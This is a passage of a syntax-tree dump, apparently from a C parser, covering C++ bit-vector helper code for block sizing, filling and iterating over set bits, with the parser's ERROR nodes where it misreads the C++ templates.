((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n}" ({) "{" (function_definition) "namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n }" (type_identifier) "namespace" (identifier) "B32" (compound_statement) "{\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n }" ({) "{" (function_definition) "inline unsigned block_bits(void) { return 5; }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "block_bits(void)" (identifier) "block_bits" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ return 5; }" ({) "{" (return_statement) "return 5;" (return) "return" (number_literal) "5" (;) ";" (}) "}" (function_definition) "inline unsigned block_size(void) { return 1 << block_bits(); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "block_size(void)" (identifier) "block_size" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ return 1 << block_bits(); }" ({) "{" (return_statement) "return 1 << block_bits();" (return) "return" (binary_expression) "1 << block_bits()" (number_literal) "1" (<<) "<<" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "inline uint64_t block_mask(void) { return block_size()-1; }" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "uint64_t" (function_declarator) "block_mask(void)" (identifier) "block_mask" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ return block_size()-1; }" ({) "{" (return_statement) "return block_size()-1;" (return) "return" (binary_expression) "block_size()-1" (call_expression) "block_size()" (identifier) "block_size" (argument_list) "()" (() "(" ()) ")" (-) "-" (number_literal) "1" (;) ";" (}) "}" (function_definition) "inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "req_words(unsigned sz)" (identifier) "req_words" (parameter_list) "(unsigned sz)" (() "(" (parameter_declaration) "unsigned sz" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "sz" ()) ")" (compound_statement) "{ return (sz >> block_bits()) + ((sz & block_mask()) != 0); }" ({) "{" (return_statement) "return (sz >> block_bits()) + ((sz & block_mask()) != 0);" (return) "return" (binary_expression) "(sz >> block_bits()) + ((sz & block_mask()) != 0)" (parenthesized_expression) "(sz >> block_bits())" (() "(" (binary_expression) "sz >> block_bits()" (identifier) "sz" (>>) ">>" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" ()) ")" (+) "+" (parenthesized_expression) "((sz & block_mask()) != 0)" (() "(" (binary_expression) "(sz & block_mask()) != 0" (parenthesized_expression) "(sz & block_mask())" (() "(" (binary_expression) "sz & block_mask()" (identifier) "sz" (&) "&" (call_expression) "block_mask()" (identifier) "block_mask" (argument_list) "()" (() "(" ()) ")" ()) ")" (!=) "!=" (number_literal) "0" ()) ")" (;) ";" (}) "}" (function_definition) "inline unsigned block(unsigned p) { return p >> block_bits(); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "block(unsigned p)" (identifier) "block" (parameter_list) "(unsigned p)" (() "(" (parameter_declaration) "unsigned p" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "p" ()) ")" (compound_statement) "{ return p >> block_bits(); }" ({) "{" (return_statement) "return p >> block_bits();" (return) "return" (binary_expression) "p >> block_bits()" (identifier) "p" (>>) ">>" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "index(unsigned p)" (identifier) "index" (parameter_list) "(unsigned p)" (() "(" (parameter_declaration) "unsigned p" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "p" ()) ")" (compound_statement) "{ return p & ((1<<block_bits())-1); }" ({) "{" (return_statement) "return p & ((1<<block_bits())-1);" (return) "return" (binary_expression) "p & ((1<<block_bits())-1)" (identifier) "p" (&) "&" (parenthesized_expression) "((1<<block_bits())-1)" (() "(" (binary_expression) "(1<<block_bits())-1" (parenthesized_expression) "(1<<block_bits())" (() "(" (binary_expression) "1<<block_bits()" (number_literal) "1" (<<) "<<" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" ()) ")" (-) "-" (number_literal) "1" ()) ")" (;) ";" (}) "}" (function_definition) "inline uint64_t bit(unsigned p) { return 1ull << index(p); }" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "uint64_t" (function_declarator) "bit(unsigned p)" (identifier) "bit" (parameter_list) "(unsigned p)" (() "(" (parameter_declaration) "unsigned p" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "p" ()) ")" (compound_statement) "{ return 1ull << index(p); }" ({) "{" (return_statement) "return 1ull << index(p);" (return) "return" (binary_expression) "1ull << index(p)" (number_literal) "1ull" (<<) "<<" (call_expression) "index(p)" (identifier) "index" (argument_list) "(p)" (() "(" (identifier) "p" ()) ")" (;) ";" (}) "}" (}) "}" (expression_statement) ";" (;) ";" (comment) "// TODO: Factor all this stuff out" (function_definition) "namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }" (type_identifier) "namespace" (identifier) "B64" (compound_statement) "{\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }" ({) "{" (function_definition) "inline unsigned block_bits(void) { return 6; }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "block_bits(void)" (identifier) "block_bits" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ return 6; }" ({) "{" (return_statement) "return 6;" (return) "return" (number_literal) "6" (;) ";" (}) "}" (function_definition) "inline unsigned block_size(void) { return 1 << block_bits(); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "block_size(void)" (identifier) "block_size" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ return 1 << block_bits(); }" ({) "{" (return_statement) "return 1 << block_bits();" (return) "return" (binary_expression) "1 << block_bits()" (number_literal) "1" (<<) "<<" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "inline uint64_t block_mask(void) { return block_size()-1; }" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "uint64_t" (function_declarator) "block_mask(void)" (identifier) "block_mask" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ return block_size()-1; }" ({) "{" (return_statement) "return block_size()-1;" (return) "return" (binary_expression) "block_size()-1" (call_expression) "block_size()" (identifier) "block_size" (argument_list) "()" (() "(" ()) ")" (-) "-" (number_literal) "1" (;) ";" (}) "}" (function_definition) "inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "req_words(unsigned sz)" (identifier) "req_words" (parameter_list) "(unsigned sz)" (() "(" (parameter_declaration) "unsigned sz" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "sz" ()) ")" (compound_statement) "{ return (sz >> block_bits()) + ((sz & block_mask()) != 0); }" ({) "{" (return_statement) "return (sz >> block_bits()) + ((sz & block_mask()) != 0);" (return) "return" (binary_expression) "(sz >> block_bits()) + ((sz & block_mask()) != 0)" (parenthesized_expression) "(sz >> block_bits())" (() "(" (binary_expression) "sz >> block_bits()" (identifier) "sz" (>>) ">>" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" ()) ")" (+) "+" (parenthesized_expression) "((sz & block_mask()) != 0)" (() "(" (binary_expression) "(sz & block_mask()) != 0" (parenthesized_expression) "(sz & block_mask())" (() "(" (binary_expression) "sz & block_mask()" (identifier) "sz" (&) "&" (call_expression) "block_mask()" (identifier) "block_mask" (argument_list) "()" (() "(" ()) ")" ()) ")" (!=) "!=" (number_literal) "0" ()) ")" (;) ";" (}) "}" (function_definition) "inline unsigned block(unsigned p) { return p >> block_bits(); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "block(unsigned p)" (identifier) "block" (parameter_list) "(unsigned p)" (() "(" (parameter_declaration) "unsigned p" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "p" ()) ")" (compound_statement) "{ return p >> block_bits(); }" ({) "{" (return_statement) "return p >> block_bits();" (return) "return" (binary_expression) "p >> block_bits()" (identifier) "p" (>>) ">>" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }" (storage_class_specifier) "inline" (inline) "inline" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "index(unsigned p)" (identifier) "index" (parameter_list) "(unsigned p)" (() "(" (parameter_declaration) "unsigned p" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "p" ()) ")" (compound_statement) "{ return p & ((1<<block_bits())-1); }" ({) "{" (return_statement) "return p & ((1<<block_bits())-1);" (return) "return" (binary_expression) "p & ((1<<block_bits())-1)" (identifier) "p" (&) "&" (parenthesized_expression) "((1<<block_bits())-1)" (() "(" (binary_expression) "(1<<block_bits())-1" (parenthesized_expression) "(1<<block_bits())" (() "(" (binary_expression) "1<<block_bits()" (number_literal) "1" (<<) "<<" (call_expression) "block_bits()" (identifier) "block_bits" (argument_list) "()" (() "(" ()) ")" ()) ")" (-) "-" (number_literal) "1" ()) ")" (;) ";" (}) "}" (function_definition) "inline uint64_t bit(unsigned p) { return 1ull << index(p); }" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "uint64_t" (function_declarator) "bit(unsigned p)" (identifier) "bit" (parameter_list) "(unsigned p)" (() "(" (parameter_declaration) "unsigned p" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "p" ()) ")" (compound_statement) "{ return 1ull << index(p); }" ({) "{" (return_statement) "return 1ull << index(p);" (return) "return" (binary_expression) "1ull << index(p)" (number_literal) "1ull" (<<) "<<" (call_expression) "index(p)" (identifier) "index" (argument_list) "(p)" (() "(" (identifier) "p" ()) ")" (;) ";" (}) "}" (function_definition) "inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (function_declarator) "Fill_BV(uint64_t* start, unsigned sz)" (identifier) "Fill_BV" (parameter_list) "(uint64_t* start, unsigned sz)" (() "(" (parameter_declaration) "uint64_t* start" (primitive_type) "uint64_t" (pointer_declarator) "* start" (*) "*" (identifier) "start" (,) "," (parameter_declaration) "unsigned sz" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "sz" ()) ")" (compound_statement) "{\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }" ({) "{" (expression_statement) "memset(start, -1, sizeof(uint64_t) * req_words(sz));" (call_expression) "memset(start, -1, sizeof(uint64_t) * req_words(sz))" (identifier) "memset" (argument_list) "(start, -1, sizeof(uint64_t) * req_words(sz))" (() "(" (identifier) "start" (,) "," (number_literal) "-1" (,) "," (binary_expression) "sizeof(uint64_t) * req_words(sz)" (sizeof_expression) "sizeof(uint64_t)" (sizeof) "sizeof" (() "(" (type_descriptor) "uint64_t" (primitive_type) "uint64_t" ()) ")" (*) "*" (call_expression) "req_words(sz)" (identifier) "req_words" (argument_list) "(sz)" (() "(" (identifier) "sz" ()) ")" ()) ")" (;) ";" (if_statement) "if(bit(sz))\n start[block(sz)] &= bit(sz)-1;" (if) "if" (parenthesized_expression) "(bit(sz))" (() "(" (call_expression) "bit(sz)" (identifier) "bit" (argument_list) "(sz)" (() "(" (identifier) "sz" ()) ")" ()) ")" (expression_statement) "start[block(sz)] &= bit(sz)-1;" (assignment_expression) "start[block(sz)] &= bit(sz)-1" (subscript_expression) "start[block(sz)]" (identifier) "start" ([) "[" (call_expression) "block(sz)" (identifier) "block" (argument_list) "(sz)" (() "(" (identifier) "sz" ()) ")" (]) "]" (&=) "&=" (binary_expression) "bit(sz)-1" (call_expression) "bit(sz)" (identifier) "bit" (argument_list) "(sz)" (() "(" (identifier) "sz" ()) ")" (-) "-" (number_literal) "1" (;) ";" (}) "}" (declaration) "inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "int" (init_declarator) "Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start)" (function_declarator) "Min_BV(uint64_t* start, int base" (identifier) "Min_BV" (parameter_list) "(uint64_t* start, int base" (() "(" (parameter_declaration) "uint64_t* start" (primitive_type) "uint64_t" (pointer_declarator) "* start" (*) "*" (identifier) "start" (,) "," (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" ()) "" (=) "=" (ERROR) "0)" (number_literal) "0" ()) ")" (initializer_list) "{\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start)" ({) "{" (ERROR) "while(!*start) {\n ++start;\n base += 64;\n }\n return" (call_expression) "while(!*start)" (identifier) "while" (argument_list) "(!*start)" (() "(" (unary_expression) "!*start" (!) "!" (pointer_expression) "*start" (*) "*" (identifier) "start" ()) ")" (initializer_list) "{\n ++start;\n base += 64;\n }" ({) "{" (ERROR) "++start;" (update_expression) "++start" (++) "++" (identifier) "start" (;) ";" (assignment_expression) "base += 64" (identifier) "base" (+=) "+=" (number_literal) "64" (ERROR) ";" (;) ";" (}) "}" (identifier) "return" (binary_expression) "base + __builtin_ctzll(*start)" (identifier) "base" (+) "+" (call_expression) "__builtin_ctzll(*start)" (identifier) "__builtin_ctzll" (argument_list) "(*start)" (() "(" (pointer_expression) "*start" (*) "*" (identifier) "start" ()) ")" (}) "" (;) ";" (}) "}" (expression_statement) "template<class F>\n inline" (binary_expression) "template<class F>\n inline" (binary_expression) "template<class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "F" (identifier) "F" (>) ">" (identifier) "inline" (;) "" (declaration) "void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }" (primitive_type) "void" (init_declarator) "Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }" (function_declarator) "Iter_BV(uint64_t* b, uint64_t* e, F f, int base" (identifier) "Iter_BV" (parameter_list) "(uint64_t* b, uint64_t* e, F f, int base" (() "(" (parameter_declaration) "uint64_t* b" (primitive_type) "uint64_t" (pointer_declarator) "* b" (*) "*" (identifier) "b" (,) "," (parameter_declaration) "uint64_t* e" (primitive_type) "uint64_t" (pointer_declarator) "* e" (*) "*" (identifier) "e" (,) "," (parameter_declaration) "F f" (type_identifier) "F" (identifier) "f" (,) "," (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" ()) "" (=) "=" (ERROR) "0)" (number_literal) "0" ()) ")" (initializer_list) "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }" ({) "{" (ERROR) "for(; b != e; ++b)" (call_expression) "for(; b != e; ++b)" (identifier) "for" (argument_list) "(; b != e; ++b)" (() "(" (ERROR) "; b != e; ++" (;) ";" (update_expression) "b != e; ++" (binary_expression) "b != e" (identifier) "b" (!=) "!=" (identifier) "e" (ERROR) ";" (;) ";" (++) "++" (identifier) "b" ()) ")" (initializer_list) "{\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }" ({) "{" (ERROR) "uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }" (identifier) "uint64_t" (call_expression) "mask(*b)" (identifier) "mask" (argument_list) "(*b)" (() "(" (pointer_expression) "*b" (*) "*" (identifier) "b" ()) ")" (;) ";" (while) "while" (() "(" (identifier) "mask" ()) ")" (initializer_list) "{\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }" ({) "{" (ERROR) "unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);" (identifier) "unsigned" (call_expression) "offset(__builtin_ctzll(mask))" (identifier) "offset" (argument_list) "(__builtin_ctzll(mask))" (() "(" (call_expression) "__builtin_ctzll(mask)" (identifier) "__builtin_ctzll" (argument_list) "(mask)" (() "(" (identifier) "mask" ()) ")" ()) ")" (;) ";" (assignment_expression) "mask &= (mask-1)" (identifier) "mask" (&=) "&=" (parenthesized_expression) "(mask-1)" (() "(" (binary_expression) "mask-1" (identifier) "mask" (-) "-" (number_literal) "1" ()) ")" (;) ";" (call_expression) "f(base + offset)" (identifier) "f" (argument_list) "(base + offset)" (() "(" (binary_expression) "base + offset" (identifier) "base" (+) "+" (identifier) "offset" ()) ")" (ERROR) ";" (;) ";" (}) "}" (assignment_expression) "base += 64" (identifier) "base" (+=) "+=" (number_literal) "64" (ERROR) ";" (;) ";" (}) "}" (}) "}" (;) "" (expression_statement) "template<class F>\n inline" (binary_expression) "template<class F>\n inline" (binary_expression) "template<class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "F" (identifier) "F" (>) ">" (identifier) "inline" (;) "" (function_definition) "void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }" (primitive_type) "void" (function_declarator) "Iter_Word(int base, uint64_t word, F f)" (identifier) "Iter_Word" (parameter_list) "(int base, uint64_t word, F f)" (() "(" (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" (,) "," (parameter_declaration) "uint64_t word" (primitive_type) "uint64_t" (identifier) "word" (,) "," (parameter_declaration) "F f" (type_identifier) "F" (identifier) "f" ()) ")" (compound_statement) "{\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }" ({) "{" (while_statement) "while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }" (while) "while" (parenthesized_expression) "(word)" (() "(" (identifier) "word" ()) ")" (compound_statement) "{\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }" ({) "{" (declaration) "unsigned offset(__builtin_ctzll(word));" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "offset(__builtin_ctzll(word))" (identifier) "offset" (parameter_list) "(__builtin_ctzll(word))" (() "(" (parameter_declaration) "__builtin_ctzll(word)" (type_identifier) "__builtin_ctzll" (abstract_function_declarator) "(word)" (parameter_list) "(word)" (() "(" (parameter_declaration) "word" (type_identifier) "word" ()) ")" ()) ")" (;) ";" (expression_statement) "word &= (word-1);" (assignment_expression) "word &= (word-1)" (identifier) "word" (&=) "&=" (parenthesized_expression) "(word-1)" (() "(" (binary_expression) "word-1" (identifier) "word" (-) "-" (number_literal) "1" ()) ")" (;) ";" (expression_statement) "f(base + offset);" (call_expression) "f(base + offset)" (identifier) "f" (argument_list) "(base + offset)" (() "(" (binary_expression) "base + offset" (identifier) "base" (+) "+" (identifier) "offset" ()) ")" (;) ";" (}) "}" (}) "}" (expression_statement) "template<class F>\n inline" (binary_expression) "template<class F>\n inline" (binary_expression) "template<class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "F" (identifier) "F" (>) ">" (identifier) "inline" (;) "" (declaration) "void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }" (primitive_type) "void" (init_declarator) "Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }" (function_declarator) "Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base" (identifier) "Iter_Blocks" (parameter_list) "(uint64_t* b, uint64_t* e, F f, int base" (() "(" (parameter_declaration) "uint64_t* b" (primitive_type) "uint64_t" (pointer_declarator) "* b" (*) "*" (identifier) "b" (,) "," (parameter_declaration) "uint64_t* e" (primitive_type) "uint64_t" (pointer_declarator) "* e" (*) "*" (identifier) "e" (,) "," (parameter_declaration) "F f" (type_identifier) "F" (identifier) "f" (,) "," (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" ()) "" (=) "=" (ERROR) "0)" (number_literal) "0" ()) ")" (initializer_list) "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }" ({) "{" (ERROR) "for(; b != e; ++b)" (call_expression) "for(; b != e; ++b)" (identifier) "for" (argument_list) "(; b != e; ++b)" (() "(" (ERROR) "; b != e; ++" (;) ";" (update_expression) "b != e; ++" (binary_expression) "b != e" (identifier) "b" (!=) "!=" (identifier) "e" (ERROR) ";" (;) ";" (++) "++" (identifier) "b" ()) ")" (initializer_list) "{\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }" ({) "{" (ERROR) "uint64_t mask(*b);\n if(mask)\n f(base, mask);" (identifier) "uint64_t" (call_expression) "mask(*b)" (identifier) "mask" (argument_list) "(*b)" (() "(" (pointer_expression) "*b" (*) "*" (identifier) "b" ()) ")" (;) ";" (if) "if" (() "(" (identifier) "mask" ()) ")" (call_expression) "f(base, mask)" (identifier) "f" (argument_list) "(base, mask)" (() "(" (identifier) "base" (,) "," (identifier) "mask" ()) ")" (;) ";" (assignment_expression) "base += 64" (identifier) "base" (+=) "+=" (number_literal) "64" (ERROR) ";" (;) ";" (}) "}" (}) "}" (;) "" (expression_statement) "template<class F>\n inline" (binary_expression) "template<class F>\n inline" (binary_expression) "template<class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "F" (identifier) "F" (>) ">" (identifier) "inline" (;) "" (function_definition) "bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }" (primitive_type) "bool" (function_declarator) "Forall_Word(int base, uint64_t word, F f)" (identifier) "Forall_Word" (parameter_list) "(int base, uint64_t word, F f)" (() "(" (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" (,) "," (parameter_declaration) "uint64_t word" (primitive_type) "uint64_t" (identifier) "word" (,) "," (parameter_declaration) "F f" (type_identifier) "F" (identifier) "f" ()) ")" (compound_statement) "{\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }" ({) "{" (while_statement) "while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }" (while) "while" (parenthesized_expression) "(word)" (() "(" (identifier) "word" ()) ")" (compound_statement) "{\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }" ({) "{" (declaration) "unsigned offset(__builtin_ctzll(word));" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (function_declarator) "offset(__builtin_ctzll(word))" (identifier) "offset" (parameter_list) "(__builtin_ctzll(word))" (() "(" (parameter_declaration) "__builtin_ctzll(word)" (type_identifier) "__builtin_ctzll" (abstract_function_declarator) "(word)" (parameter_list) "(word)" (() "(" (parameter_declaration) "word" (type_identifier) "word" ()) ")" ()) ")" (;) ";" (expression_statement) "word &= (word-1);" (assignment_expression) "word &= (word-1)" (identifier) "word" (&=) "&=" (parenthesized_expression) "(word-1)" (() "(" (binary_expression) "word-1" (identifier) "word" (-) "-" (number_literal) "1" ()) ")" (;) ";" (if_statement) "if(!f(base + offset))\n return false;" (if) "if" (parenthesized_expression) "(!f(base + offset))" (() "(" (unary_expression) "!f(base + offset)" (!) "!" (call_expression) "f(base + offset)" (identifier) "f" (argument_list) "(base + offset)" (() "(" (binary_expression) "base + offset" (identifier) "base" (+) "+" (identifier) "offset" ()) ")" ()) ")" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (}) "}" (return_statement) "return true;" (return) "return" (true) "true" (;) ";" (}) "}" (expression_statement) "template<class 